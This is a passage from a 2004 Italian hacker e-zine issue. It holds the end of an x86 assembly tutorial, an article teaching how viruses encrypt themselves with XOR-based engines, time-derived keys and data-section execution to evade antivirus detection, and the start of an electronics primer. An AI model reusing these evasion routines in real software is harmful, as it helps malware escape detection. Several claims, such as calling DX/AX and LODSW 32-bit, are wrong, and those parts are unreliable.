opzionale, ad esempio nei 386 non era necessaria ma c'e' sempre dal Pentium in su. Senza entrare in eccessivi dettagli, ecco uno schema semplice di una pipeline di un processore 486. +---------+--------+----------+-----------+-----------+ | FETCH | DECODE | DISPATCH | EXECUTION | WRITEBACK | +---------+--------+----------+-----------+-----------+ Riguardo il funzionamento di una pipeline mi fermo qui. Non avrebbe senso entrare nei dettagli, eventualmente troverete fior fior di testi e documenti pdf su questo argomento. Bene, sperando che fino a qui sia tutto abbastanza chiaro, salgo verso il pentium 4 che e' il nostro obiettivo. Con l'avvento dei processori pentium le pipeline sono diventate 2 (pipeline U e V) mentre il pentium4 ne dovrebbe avere 9 se non sbaglio, con una struttura piu evoluta. Quando un microprocessore e' dotato di piu di una pipeline, si parla di tecnologia "superscalare". Immaginate quindi piu linee parallele, dove le istruzioni entrano nell'ordine nella prima fase di ogni pipeline (FETCH) e poi avanzano assieme ad ogni colpo di clock. fase F D D E W t x (5a istruzione) e x x (4a istruzione) m x x x (3a istruzione) p x x x x (2a istruzione) o x x x x x (1a istruzione) --------> avanzamento La fase piu critica e' l'esecuzione com vi dicevo, e a seconda dell'ist- ruzione puo richiedere anche piu di un ciclo di clock. Siamo arrivati al dunque, con cui termino questa parte pesante focaliz- zata sull'hardware. Siccome l'esecuzione di un istruzione puo richiedere 1 o piu cicli di clock, e siccome tutti i nastri affiancati avanzano contemporaneamente, un istruzione lunga da eseguire su una pipeline fermera' anche quelle che sarebbero veloci da eseguire nelle altre pipeline. Questo vi fa capire che sarebbe anche importante l'ordine con cui facciamo entrare le istruzioni dentro alle pipeline. Qui si parla di otimizzazione del codice, cosa che per ora lascerei stare, anche se vorrei solo che per il momento ne iniziate a capire l'importanza. Insomma, tutte le pipe- line devono aver completato la fase prima di avanzare alla sucessiva. Bene, tirate un sospiro, direi che questo quadro sul funzionamento del microprocessore sia abbastanza completo, seppur non particolarmente det- tagliato dovrebbe avervi dato un idea su cosa succede in un microproces- sore X86. Ora elenco subito tutto il set di registri di base presenti sempre dal 386 al pentium 4, con una breve spiegazione del loro utilizzo. I registri sono dei "cassetti" grandi da 16 o 32bit. Quelli da 32 tuttavia possono essere riempiti anche solo per i primi 16bit. Alcuni di questi possono essere riempiti anche solo per i primi o secondi 8 bit. eax registro generale, ma usato anche come Accumulatore dal microprocessore stesso per i risultati dei calcoli. ebx registro generale. ecx registro generale, utilizzato dal microprocessore come Contatore nell'esecuzione di alcune istruzioni. edx registro generale. esp puntatore allo stack (lo stack e' una piccola area di memoria situata nell'area cache, riservata per il salvatag- io momentaneo di piccoli gruppi di varabili e dati). ebp puntatore base. esi puo essere usato sia come registro generale che come regi- stro Sorgente per operazioni su stringhe. edi puo essere usato sia come registro generale che come regi- stro Destinazione per operazioni su stringhe. eip questo registro e' utilizzato esclusivamente per puntare alle Istruzioni. es segmento Extra. | | cs segmento del Codice. | | ss segmento dello Stack. | |-- registri a 16 bit. ds segmento dei Dati. | | fs segmento generale. | | gs segmento generale. | I registri di "segmento" "es cs ss ds" erano utilizzati prima dell'av- vento del 386 e della modalita' protetta, proprio come indicato dai loro nomi: ognuno puntava all'inizio di un segmento (blocco da 64k) di memoria. In modalita protetta assumono un altro significato che per ora non ha senso che vi spieghi, ce gia abbastanza carne al fuoco per ora. Riguardo modalita reale e modalita protetta ne daro una breve spiega- zione nella perte terza. A cosa serva ogni registro vedrete che lo capirete solo via via che inizieremo a buttar giu un po di codice. Per ora assumete solo che i registri di base sono questi che vi ho elencato. Tutti i registri a 32 bit possono essere utilizzati anche solo per i 16 bit meno signifi- cativi, mentre "eax ebx ecx edx " anche per i primi o secondi 8 bit. Ad esempio prendiamo eax. Il bit meno significativo viene sempre nume- rato come 0. 31 0 +----------------+--------+--------+ | eax | | | | ax | | | ah | al | +----------------+--------+--------+ Se ci riferiamo a tutti i 32 bit, lo chiameremo eax, se ci riferiamo solo ai primi 16 bit lo chiameremo ax, se vogliamo riferirci solo ai primi o ai secondi 8 bit, possiamo utilizzare i nomi ah(high) o al (low). In questa parte ho ritenuto necessario dilungarmi appunto sull'hardware e riportero solo qualche esempio pratico sul codice (per vostra gioia, la parte 3 sara' quasi completamente dedicata al codice). Una semplice applicazione di base puo essere una copia di memoria. Pertirei proprio con una funzione perche' un programma completo scritto in assembly e' piuttosto lungo per essere spiegato adesso, andrei oltre allo spazio riservato a questo articolo. Tuttavia lo sviluppo di applicazioni in assembly si basano su funzioni gia pronte, proprio perche solo cosi potremo sviluppare in tempi ridotti. Una volta che una funzione e' consolidata, potra essere uti- lizza spesso nei nostri programmi. Supponiamo di voler scrivere una funzione di copia di memoria, simile a memcpy che molti di voi avranno utilizziato in linguaggio C. Utilizzando l'assembly la velocita' della copia dipendera da noi, dalla capacita' di scrivere il codice in maniera pulita ed efficente e dai controlli che vorremo aggiungere all'interno della funzione. Se saremo bravi e non in- trodurremo particolari controlli per le sovrascritture, possiamo rag- giungere risultati anche migliori di un memcpy C. ;---------------------------------------------------------------------- ; copymem "memory copy" (Tasm 5.0 ideal mode syntax) ;---------------------------------------------------------------------- proc CopyMem uses esi edi, Sorg: DWORD, Dest: DWORD, NBytes: DWORD mov esi,[Sorg] mov edi,[Dest] mov ecx,[NBytes] Copying: mov al,[byte ptr esi] mov [byte ptr edi],al inc esi inc edi dec ecx cmp ecx,0 jg Copying ret endp CopyMem Spiego ora riga per riga cio che viene fatto in questa semplice funzione di copia di memoria. Come vedete i commenti in linguaggio assembler sono preceduti da un punto e virgola. proc CopyMem uses esi edi, Sorg: DWORD, Dest: DWORD, NBytes: DWORD Questa riga dichiara la funzione, che avra' nome CopyMem, usera' i registri "esi" e "edi" che verranno appunto preservati, cioe alla fine avranno i valori che avevano prima di entrare (direttiva "uses"), i parametri che volgiamo passare alla funzone saranno nell'ordine le doubleword Sorg (indirizzo di memoria dei dati che vogliamo copiare), Dest (indirizzo di memoria dove vogliamo copiare i dati) e NBytes che sara il numero di bytes da copiare. Per chiamare questa funzione in assembly useremo la seguente sintassi: call CopyMem, [sorgente], [destinazione], [lunghezza] La riga "mov esi, [sorg]" copia il contenuto della variabile 32bit "sorg" dentro al registro 32bit "esi". Come dire esi=Sorg, stessa cosa. Memorizzate presto il significato dell'istruzione mov perche' e' tra le piu utilizzate. Vedrete che vi entrera in testa rapidamente. Con questa istruzione casico l'offset di memoria di partenza dentro al registro "esi". Devo avere gli indirizzi nei registri perche solo cosi si rag- giunge la massima velocita'. Altrimenti, se userei Sorg e Dest senza metterle in "esi" e "edi", andrei ogni volta a leggere i loro vlalori dallo stack.. e capite che leggere da memoria sarebbe molto piu lento. I registri come vi ho gia detto invece sono dei cassetti presenti dentro al microprocessore, e servono proprio a portarsi i dati dentro al micro- processore ed avere la massima velocita' evitando ogni volta una fase in piu di fetch. Bene, tornando al codice, carichiamo quindi "esi" con l'indirizzo "sor- gente", edi con l'indirizzo di memoria di "destinazione" e il registro generale "ecx" che utilizzeremo come contatore con la "lunghezza" del blocco di memoria che vogliamo copiare. Il succo sta qui0 : mov al,[byte ptr esi] mov [byte ptr edi],al La prima riga indica che carico il BYTE puntato da "esi" dentro al reg- istro "al" (8 bit meno significativi di eax). La seconda indica che prendo il contenuto del registro "al" e lo scrivo in memoria, alla locazione puntata da "edi". Come vi dicevo la memoria e una pila di cassetti da 8 bit. Quindi cosi facendo ho copiato il contenuto di un cassetto in un altro passando per il registro "al" del microprocessore che ha fatto da tramite. Vi chiederete perche non e' possibile copiare direttamente da memoria a meoria. Perche il microprocessore non e' capace di farlo. Bisogna ob- bligatoriamente passare attraverso un registro. inc esi inc edi dec ecx cmp ecx,0 jg Copying Una volta copiato un byte, con l'struzione "inc" incrementiamo di 1 unita' gli indirizzi contenuti in "esi" ed "edi" mentre con l'istruzio- ne "dec" decrementiamo di 1 unita' il numero di byte da copiare conte- nuto nel registro "ecx". Listruzione "cmp ecx,0" e "jg Copying" lavo- rano assieme: "cmp ecx, 0" compara ecx con 0, "jg Copying" significa "Jump if Greater" to Copying, cioe0, se "ecx" e' maggiore di 0 allora salta a "Copying" cioe continua a copiare. ret L'istruzione "ret" serve a terminare la funzione: quando noi effettuiamo il "call" di una funzione, viene salvato nello stack l'indirizzo del codice in cui ci troviamo, prima di saltare alla funzione. Quando a fine funzione chiamiamo "ret" l'indirizzo del codice dove dobbiamo tornare viene ritirato fuori dallo stack. Lo so che questo discorso non e' semplice da capire allora lo riprendo un attimo. Quando noi clicchiamo un .exe, il sistema operativo carica l'applica- zione in una locazione di memoria ben precisa. Vi deve essere un regi- stro del microprocessore che tiene conto dove si trova l'inizio del codice da eseguire. Questo e' il registro "eip" cioe' il puntatore alle istruzioni (instruction pointer). Lui tiene conto di dove si trova la prossima istruzione da eseguire. E' lui quindi che viene salvato nello stack ad ogni call e ritirato ad ogni ret. Per ora mi fermo qui. Spero che abbiante appreso qualcosa anche sta volta. Come sapete gia, l'italiano a scuola non era il mio forte ma magari rileggendo piu volte le parti poco chiare forse capirete meglio. Ora sappiamo a grandi linee come funziona un microprocessore. Con i prossimi articoli non ci cureremo piu di questo, ma entreremo nel vivo del codice :). Per questa volta mi sa che sono sul finire delle righe a disposizione. Ottimizzeremo la funzione per farla diventare piu' veloce e poi partiremo con qualche breve applicazione di ricerca stringhe o di patch di file. Vedremo un po. Alla prossima. spectrum it> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x05][CRYPT0] iNTR0DUZi0NE Ai ViRUS CRiTT0GRAFiCi [MiMMuZ] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Virus, parola breve ma di effetto. Basta guardare la televisione per accorgersi che questo termine si porta dietro una tanto pessima quanto giustificata reputazione. Pensiamo ai recenti casi di SARS o di Febbre dei polli. Cosa che ci fanno rabbrividire. Le stesse emozioni le proviamo quando il termine e' riferito al campo informatico. Tremiamo per i nostri poveri computer indifesi alla sola idea che qualche strana "malattia" possa farci perdere anni e anni di sudate fatiche. A volte pero' bisogna guardare oltre le nostre paura, conoscere il nemico e, perche' no, apprezzarne i pregi. Alla fine un virus informatico altri non e' che un programma, un ottimo programma scritto da abili programamtori, forse un po' frustrati ma questa e' una cosa a parte. Forse non abbiamo solo di che temere dai virus, magari qualcosa da imparare c'e'. Di sicuro non il fine distruttivo, men che meno la loro capacita' di diffusione, piuttosto dovremmo prenderli come esempi di ottimizzazione e di codice affascinante. Si sa, spesso il lato oscuro della forza e' quello piu' alettante, conoscerlo pero' non e' un peccato, metterlo in pratica si. Abbiamo detto che un virus spesso rappresenta un gioiellino della programamzione, ma perche'? Sopratutto per la sua natura: esso e' un po' come una creaturina che viene partorita e poi deve muoversi da sola. Proprio questa necessita' di indipendeza ha indotto i virus-writer a ideare metodi sempre piu' complessi per mimetizzare i propri pargoli. Metodi che noi possiamo fare nostri e che, se anche non ci serviranno mai direttamente, sicuramente ci forniranno un ottimo esempio di programmazione. Avrete sicuramente sentito dire piu' volte che le tecniche sfruttate da hacker e simili sono diventate in seguito gli strumenti per migliorare la tecnologia che tutti usiamo. Questo in parte vale anche per i virus. Sono state ripescate dai virus alcune tecniche di occultamento per applicarle a cose piu' legali. Non mi ferisco agli strumenti usati per proteggersi dai virus, ma soprattutto a quelle tecniche di anti-debugging che hanno permesso a certi programmi di rendere piu' ostico (ma non impossibile) il cracking. Si, proprio cosi', se avete mai provato a crackare qualcosa vi sarete probabilemnte imbattui in programmi che modificano il loro codice, nascondo parti di esso, codificano sezioni intere e cercano di far seguire false piste a chi prova a rimuovere le protezioni di un software. Ecco dunque un motivo per cui parlare di come funzioni un virus, se poi il tutto e' corredato da un po' di sana curiosita' e dalle migliori intenzioni perche' no? Bando alle ciance, iniziamo a vedere qualcosa che potrebbe interessarci. Cerchiamo di capire cosa siano e come operino le istruzioni di occultamento. Molte sono le tecniche usate. Quelle piu' interessanti e sfruttate sono sicuramente il polimorfismo e, in tempi meno recenti, lo stealth. Ma non voglio andare troppo sul difficile, meglio esporre un concetto molto piu' semplice, ormai banale e facilmente riconoscibile dagli anti-virus, ma pur sempre interessante, ed utile per altre applicazioni: la Crittografia. Spero che chi legga questo articolo conosca, all'incirca, il comportamento di un virus. Ricapitolando velocemente (senza far distinzioni fra infettori per dos, per com, per PE, ecc) un virus cerca file eseguibili, si copia alla fine di essi e fa in modo che la prima istruzione eseguita sia parte del suo codice in modo da ricominciare il ciclo ed alla fine eseguire il file che ha infettato. Che si tratti di virus TSR o altro, il concetto piu' o meno e' sempre lo stesso. Non addentriamoci nei particolari. Queste operazioni sono facilmente riconoscibili dagli AV (antivirus), che ormai possono riconoscere anche un virus neonato. Per rendergli le cose piu' difficili, tempo fa, iniziarono a nascere i primi virus crittografici che al loro interno avevano una particolare routine in grado di crittografare il codice e renderlo illeggibile agli AV. Il tutto funzionava secondo un semplice schema: - il virus viene eseguito quando ancora non e' crittografato - trova un file da infettare e lo prepara - cripta parti del suo codice e si scrive nel file host - termina l'infezione - quando il file infetto viene eseguito subito parte una routine di decriptazione - il codice, ora non crittografato, viene messo (in memoria) al posto di quello criptato - il virus si riesegue, cerca un file, lo apre, si cripta di nuovo e continua cosi'. Spero sia tutto chiaro. Come avrete potuto vedere, il concetto generico non e' molto difficile. Certo e' che se la crittazione fosse "statica" (cioe' se i byte del virus venissero sempre codificati allo stesso modo) un AV riconoscerebbe subito il virus. Quindi il virus deve avere un motore di criptazione che cambi ogni volta il suo output. Per fare cio' basta utilizzare una chiave che cambi ad ogni infezione e in base alla quale la crittografazione del virus sia sempre diversa. Vedremo dopo come. Una cosa da dire subito e' che, se il virus esegue parti di se' stesso non ancora decriptate, andrebbe in crash, perche' i byte non rappresentano nessuna operazione logica. Risulta quindi importante che la decriptazione sia effettuata prima di eseguire le parti modificate, ma tutto cio' mi sembra abbastanza logico no? Passiamo ora a qualcosa di piu' serio, vediamo come un virus si possa criptare. Generalemnte i motori crittografici sono formati da poche e semplici operazioni matematiche o logiche. L'esempio piu' comune e' lo XOR. Questa operazione logica e' a dir poco straordinaria, perche' permette di usare lo stesso codice per criptare e decriptare. Lo XOR funziona cosi': a valori uguali associa un bit 0, a valori discordi un bit 1. Una tabellina riassuntiva potrebbe essere questa: +-----+-----+-----+ | XOR | 0 | 1 | +-----+-----+-----+ | 0 | 0 | 1 | +-----+-----+-----+ | 1 | 1 | 0 | +-----+-----+-----+ Tutto questo significa che se eseguiamo l'istruzione: MOV AX, 10 XOR AX, 10 Avremo come valore di AX 0 (ma guarda che novita'), il bello e' che se ora facciamo di nuovo XOR AX, 10 in AX avremo di nuovo 10 ;) I piu' rapidi di comprendonio avranno gia' capito dove si va a parare. Ricordate la chiave di cui parlavo prima? Bene, sara' uno dei valori da passare allo XOR, mentre l'altro saranno i byte da crittografare. Vediamo un altro esempio di XOR in C: A = A ^ B; B = B ^ A; A = A ^ B; Avremo i valori di A e B scambiati senza il bisogno di una variabile temporanea. (il simbolo ^ in C equivale allo XOR) Ancora un altro esempio: XOR 10011010b, 01101001b vediamo di farlo come se fossimo a scuola rifacendoci allo schemino di sopra. 10011010 XOR 01101001 ------------ 11110011 Come potete vedere otteniamo un valore che ha poco a che fare con quello di prima. E se facciamo di nuovo uno XOR fra il valore ottenuto e il secondo valore (la chiave) come per magia torneremo al valore iniziale: 11110011 XOR 01101001 ------------ 10011010 Diventa quasi un giochino divertente! Ora, sappiamo benissimo che tutte le istruzioni che scriviamo vengono tradotto in numeri binari, quindi, mettiamo di avere un'istruzione come MOV AX, 1, sara' scritta come 10111000 00110100 00000001, quindi potremmo XORare anche questa serie di bit, con quella famosa chiave casuale. Vediamo pero' come tutto cio' puo' essere tradotto in codice assembler. Cripta: MOV CX, Numero_byte_da_criptare MOV DI, Primo_byte_da_criptare MOV SI, DI MOV AH, Chiave_casuale Ciclo: LODSB XOR AL, AH STOSB LOOP Ciclo Ecco il semplice motore crittografante. Tutto qui? Si, tutto qui. Il codice berat e' estremamente banale e limitato a 255 possibilita' (la chiave e' a 8 bit in questo caso, quindi puo' andare da 0 che non cripta a 255), quindi non si tratta di un motore cosi' potente, ma basta poco per migliorarlo. Vediamolo nel dettaglio. La prima istruzione mette in CX (che servira' per il loop) il numero di byte da criptare (ottenibile tramite differenza fra due label, cioe' al posto di Numero_byte_da_criptare potete metterci un "Label_inizio - Label_fine"). Poi un paio di istruzioni per mettere in SI il primo byte da criptare e in AH la chiave casuale (che vedremo dopo come ottenere). A questo punto inizia un ciclo che con LODSB muove un byte da DS:SI ad AL, poi prende il byte in questione e lo codifica con XOR, quindi con STOSB lo sposta in ES:DI, che guarda caso punta proprio al byte appena criptato. Poi il ciclo continua, prendendo il byte successivo e cos via, finche CX (che viene diminuito ogni volta che si ripeti il ciclo) non arriva a 0, cioe' alla fine della sezione da criptare. Bello vero? E per decriptare la funzione e' la stessa! Ancora piu' bello. Potete anche usare una chiave a 32 bit, aumentando cosi' le possibilita' di output del motore crittografante. Vi basta usare registri a 32 bit (ad esempio DX al posto di AH e AX per AL) e LODSW e STOSW che muovono rispettivamente da DS:SI a AX e da AX a ES:DI. Attenzione pero', la lunghezza dovra' essere divisa per 4, infatti lavoreremo con word e non con byte. Non siete comunque costretti ad usare solo XOR, potete usare altre funzioni in coppia o altre operazioni sui byte come INC e DEC, ma dovrete scrivere una routine di decriptazione ed una di criptazione. Dipende tutto dalla vostra fantasia. Tanto per citarla, altre operazioni interessanti sono ROL/ROR che ruotano i byte e NOT/NEG. Potreste ad esempio aumentare di una certa quantita' i byte presi dal codice, e poi diminuirli della stessa per decriptare. Teoricamente un motore di criptazione del codice potrebbe anche limitarsi a fare un ADD di un valore casuale (come la chiave) ai byte, la routine di decriptazione dovrebbe fare un SUB della stessa quantita'. Insomma, creare un motore crittografico dipende solo dalla vostra fantasia (e dalle vostre conoscenze degli operatori logici e matematici ;-). Anche la struttura del motore pu essere diversa, non dovete per forza seguire lo schema che ho presentato qui, dato che e' molto usato e per questo conosciuto dagli AV. Ma se non siete interessati ad un infettore di eseguibili, beh, potrebbe andarvi bene lo stesso. Per completare il discorso vorrei farvi notare come un virus crittografico sia riconoscibile da un AV, dato che il suo motore resta "pulito", quindi conoscendone le istruzioni di criptazione un AV puo' rintracciare il virus. Vi avevo avvisati che come tecnica e' vecchiotta. Tanto per fare un altro esempio, eccovi un motore crittografico, formato da due routine, una criptante ed una decriptante: Cripta: MOV CX, Numero_byte_da_criptare MOV DI, Primo_byte_da_criptare MOV SI, DI MOV DX, Chiave_casuale_32bit Ciclo_Cript: LODSW INC AX INC AX XOR AX, DX DEC AX XOR AX, DX DEC AX STOSW LOOP Ciclo_Cript e ora la routine di decifrazione DeCripta: MOV CX, Numero_byte_da_criptare MOV DI, Primo_byte_da_criptare MOV SI, DI MOV DX, Chiave_casuale_32bit Ciclo_DeCript: LODSW INC AX XOR AX, DX INC AX XOR AX, DX DEC AX DEC AX STOSW LOOP Ciclo_DeCript Ovviamente questi due codici si rifanno a quanto detto prima, cioe' deve essere generata una chiave in qualche modo, e deve essere "leggibile". Inoltre il codice decrittante non deve venire criptato (quello per crittografare puo' anche venir modificato). Abbiamo visto quanto sia semplice da scrivere un motore crittografico, e persino chi non capisce un tubo di assembler, se va a vedersi i vari registri citati, potrebbe capire cosa e' stato detto e fatto fino ad ora. Non abbiamo pero' parlato della chiave. Abbiamo capito che deve essere casuale, ma come ottenerla? Beh, mi sembra semplice, da' una funzione che ci dia ogni volta un valore diverso, il che potrebbe essere un'ingombrante funzione "random" o, per un virus dos, una chiamata veloce all'interrupt 21h, precisamente alla funzione 2Ch: l'ora di sistema. Questo int ci da in CH l'ora, in DH i secondi e in Dl i centesimi. Se ci basta una chiave a 16 bit prendiamoci Dl, se no una combinazione di DL con gli altri registri per una chiave a 32 bit. Avremo cosi' un valore casuale col quale criptare. La cosa importante e' ricordarsi che il valore va mantenuto nel corpo del virus per permettergli di decrpitarsi...quindi non va nemmeno criptato, eh! Faremo quindi: MOV AH, 2Ch INT 21h MOV KEY, DL dove KEY sara' una variabile che salveremo, non criptata, nel corpo del virus. Restano delle constatazioni da fare. Appena scritto il virus non deve decriptarsi, infatti non puo' essere stato crittografato. Ecco percio' la necessita' di fare uno XOR con 0 come chiave. Quando scriveremo il virus ci bastera' settare il valore KEY a 0, ci pensera' il virus, quando prendera' la chiave dall'ora del sistema, a modificare il valore di KEY, che verra' salvato e permettera' le operazioni di cifratura e decifratura. Giusto per dare un po' piu' di attualita' a questo misero testo, vediamo un po' come sfruttare la crittografia in sistemi che, con l'avvento della memoria protetta, non ci permettono di scrivere ovunque. La prima soluzione sarebbe quella di andare a Ring0, ma e' un po' lunghetta da spiegare. Come fare allora per mettere mano al nostro codice? Semplice, andiamo a lavorare dove abbiamo il permesso di scrittura, cioe' nello stack o nel segmento dei dati. Qualcuno si stara' chiedendo come. Beh, andatevi a guardare qualche exploit e pensate. In ogni caso un metodo simpatico e' quello di scrivere le istruzione hard-codate e metterle nella zona dati del nostro programma, poi nella sezione destinata al codice pushare l'offset del primo dato e chiamare una RET. Per la comodissima proprieta' di questa istruzione EIP puntera' alle nostre istruzioni hard-core, l'esecuzione del programma continuera' quindi nella zona dati dove abbiamo la possibilita' di modificare il nostro codice senza violare i permessi sulla memoria. Nulla di particolare. Un breve esempio codato con MASM32. .data via db 144,144,144,144,144 db 144,144,144,144,144 db 144,144,144,144,144 db 144,144,144,144,144 .code start: mov esi,offset via push esi ret invoke ExitProcess,0 end start Tutto molto semplice. Ah, 144 in esadecimale sta per 90h, cioe' NOP, nessuna istruzione. Se ai NOP sostituite altre istruzioni avete gia' capito che saranno eseguite. Se poi vi steste chiedendo (buon segno ;-) come ottenere una chiave random non avendo la possibilita' di usare gli interrupt, allora vi consiglio di cercare informazioni sull'API GetSystemTime e sulla struttura SYSTEMTIME. Bene, qui finisce la microguida sul funzionamento di virus-crittografici. Se vi e' stato in qualche modo utile sono contento per voi. Se vi e' sembrato inutile, mi spiace avervi fatto perdere tempo prezioso. Lasciatemi concludere con le solite dediche: a Kiara e Laura, che nella mia vita contano sempre di piu', a Licantrop0 perche' ha una pazienza infinita con me. Grazie al team di OndaQuadra. [MiMMuZ] it> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x06][ELECTR0] iNTR0DUZi0NE ALL'ELETTR0NiCA [master^shadow] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Introduzione Ogni cosa che ci circonda e' ormai dominata dall'elettronica. Gesti quotidiani come guardare la televisione, usare il computer, ascoltare il proprio gruppo musicale preferito e qualsiasi altra cosa dipendono fortemente dall'elettronica. Gia', tutto sarebbe piu' difficile senza elettronica ma che cos'e' l'elettronica in se? L'elettronica e' la scienza che si occupa dello studio della conduzione dell'energia in semiconduttori o gas. Si tratta quindi di un campo ristretto dell'elettrotecnica ma che in fondo e' piu' esteso dell'elettrotecnica stessa :-) Tralasciamo quindi per una volta l'informatica e dedichiamoci alla sua base storica. In questo paper affronteremo infatti tutte le caratteristiche di base per poter parlare successivamente in maniera appropriata delle varie applicazioni. GRANDEZZE PRINCIPALI Prima di parlare di elettronica chiariamo qualche punto fondamentale dell'elettrotecnica in generale. Le grandezze principali in gioco sono due: tensione e corrente. TENSIONE Con il termine tensione viene indicata una grandezza che misura la differenza di potenziale tra due punti. Solitamente uno dei due punto e' di riferimento per tutto il sistema e si sceglie abitualmente la massa ovvero un punto a tensione zero. La tensione si misura in Volt e si indica con la lettera V. A seconda delle variazioni nel tempo la tensione si divide in: continua ed alternata. La prima indica una tensione pressoche' stabile nel tempo, che non subisce variazioni di rilievo in tempi brevi e che quindi non attraversa "mai" lo zero. Un esempio classico di questo tipo di tensione e' fornito dalle normali pile stilo caratterizzate da una tensione fissata a 1.5 Volt. La tensione continua e' polarizzata: il punto a tensione maggiore viene solitamente individuato da un segno + e il punto a tensione minore da un segno -. La tensione alternata varia nel tempo, solitamente secondo un andamento sinusoidale, e passa per lo zero ripetute volte. Viene inoltre definita la frequenza di una tensione alternata ovvero il numero di periodi effettuati in un secondo. Non e' possibile definire una polarizzazione in quanto il segno varia ogni semiperiodo. Per misurare la tensione alternata viene utilizzato il modulo. Un esempio classico, alla portata di tutti, e' la tensione di 230 Volt resa disponibile dalle prese di casa nostra. CORRENTE Con corrente elettrica si intende il flusso di elettroni tra due punti posti a potenziale diverso. La corrente si esprime con il simbolo I ed rappresenta il flusso di cariche in un secondo. Tecnicamente parlando si tratta della derivata della carica effettuata sul tempo. Convenzionalmente si considera il flusso di corrente dal punto a tensione maggiore al punto di tensione maggiore. In realta' cio' che si muove e' un flusso di elettroni quindi la corrente tecnicamente scorre dal punto a potenziale piu' alto a quello a potenziale minore. Questa convenzione nasce dalla comparazione con l'equivalente circuito idrico che prevede la messa in comunicazione di due colonne d'acqua di altezza diversa (e quindi potenziale): l'acqua fluira' dalla colonna piu' piena a quella meno piena. I COMPONENTI ELETTRICI RESISTENZE La resistenza e' la proprieta' che i corpi manifestano quando vengono attraversati da una corrente elettrica. Essa puo'essere vista come una specie di attrito che rende difficoltoso il passaggio degli elettroni. Questa proprieta' si misura in Ohm (W) ed e' parte del legame tra tensione e corrente chiamato Legge di Ohm. La legge di Ohm rappresenta la legge fondamentale dell'elettrotecnica. Grazie alle legge di Ohm e' possibile quantificare il rapporto di proporzionalita' presente tra tensione e corrente. La legge e' espressa dalla formula V=RI. Ogni conduttore ha una sua resistenza specifica ed e' possibile calcolarla grazie alla seconda legge di Ohm. La resistenza di un conduttore e' infatti proporzionale alla resistivita' del mezzo e alla lunghezza dello stesso ed inversamente proporzionale alla sezione del conduttore. Le resistenze, o resistori, sono componenti elettrici con una resistenza data e impostata dal costruttore. Solitamente e' un cilindro ceramico sul quale viene depositato un impasto resistivo oppure viene avvolto del filo metallico. CONDENSATORI Un condensatore e' un dispositivo in grado di accumulare carica elettrica. E' formato da due lamine metalliche affacciate l'una all'altra e da materiale dielettrico posto tra le due lamine. La carica accumulata e' proporzionale ad una proprieta' detta capacita' che, espressa in Farad, e' pari al rapporto tra carica accumulata Q e tensione V applicata alle lamine. Esistono diversi tipi di condensatori e vengono classificati in base alle caratteristiche costruttive in: elettrolitici, ceramici, al tantalio e in poliestere. I condensatori hanno un comportamento diverso a seconda del tipo di tensione applicata (continua o alternata) e non sono generalmente polarizzati, tranne del caso dei condensatori elettrolitici. La corrente ai capi di un condensatore e' proporzionale alla derivata della tensione sul tempo e alla capacita' del condensatore stesso. INDUTTANZE L'induttanza o induttore e' un dispositivo formato da una bobina di filo avvolta attorno ad un supporto detto Nucleo, che a volte puo‘ non esserci. Non ha praticamente effetto in corrente continua mentre in regime alternato esso genera un campo magnetico variabile a seconda del numero di spire. La tensione generata ai capi dell'induttore e' proporzionale alla variazione di corrente in esso e ad un fattore detto induttanza. La presenza di questo elemento si nota nei transitori. I COMPONENTI ELETTRONICI DI BASE Prima di analizzare i componenti elettronici di base e' necessario conoscere le basi del silicio. Si tratta infatti di un semiconduttore molto diffuso in natura dalle scarse proprieta' elettriche che presenta una pessima conducibilita'. Per migliorare le caratteristiche elettriche del silicio si usa drogarlo con altri elementi di valenza 3 o valenza 5. Il silicio presenta infatti 4 elettroni di valenza nella banda piu' esterna e sostituendo alcuni atomi di silicio con elementi di valenza superiore (5) o inferiore (3) si rendono liberi elettroni o si creano delle lacune. Drogando il silicio con elementi a valenza 3 si ottiene il silicio di tipo P (con lacune) mentre drogando il silicio con elementi a valenza 5 si ottiene il silicio di tipo N (con elettroni liberi).In entrambi i casi si ottiene una migliorata conducibilita' elettrica. DIODI Mettendo a contatto una zona di tipo P con una zona di tipo N, gli elettroni in eccesso nella zona N si dirigono verso la zona P. Se non ci fossero reazioni nella regione di campo spaziale tra N e P dopo un breve periodo il flusso di elettroni si interromperebbe e entrambe le zone diverrebbero neutre. Il movimento di elettroni crea tuttavia un campo elettrico che genera una corrente opposta a quella di elettroni che rende il processo praticamente inesauribile in quando le correnti sono uguali in condizioni di equilibro. Una giunzione PN non e' altro che un diodo ed applicando tensione alla stessa si ha una modifica della caratteristica esterna (rapporto tra tensione e corrente) dello stesso. Applicando tensione negativa al diodo si ha una piccola corrente di saturazione, generalmente trascurabile. Se la tensione negativa applicata al diodo e' ragguardevole si raggiunge un punto in cui il diodo va in conduzione inversa ottenendo il break-down, che puo'essere Zener o a valanga. Si tratta di due condizioni in cui la tensione applicata agli atomi rompe i legami covalenti degli elettroni e li mette in banda di conduzione. Il break-down Zener e' reversibile e non crea danni, mentre quello a valanga distrugge il diodo. Applicando tensione positiva al diodo si ha un intervallo nel quale la tensione non cresce in modo significativo ed infatti il diodo non viene considerato in conduzione. Superata la tensione di soglia (circa 0.7 V) il diodo entra in conduzione diretta. Generalmente un diodo viene visto come un dispositivo in grado di lasciare passare la corrente solo se fluente in un certo senso. Vengono inoltre adoperati per convertire la tensione alternata in continua (come raddrizzatori). TRANSISTOR I transistor sono alla base di tutti i componenti elettronici che ci circondano e hanno principalmente due proprieta': possono comandare una porta attraverso un contatto e possono fungere da amplificatori. Esistono principalmente due tipi di transistor: quelli a giunzione BJT e quelli ad effetto di campo FET. BJT Aggiungendo un terzo elemento alla giunzione PN si ottiene il transistor a giunzione che e' caratterizzato da tre elementi: base, collettore ed emettitore. I transistor BJT si differenziano in NPN e PNP a seconda delle giunzioni utilizzate e quindi delle polarita' in gioco. Nel tipo PNP la corrente fluisce dall'emettitore verso il collettore ed entra nella base mentre nel PNP la corrente e' inversa: esce dalla base e fluisce dal collettore all'emettitore. 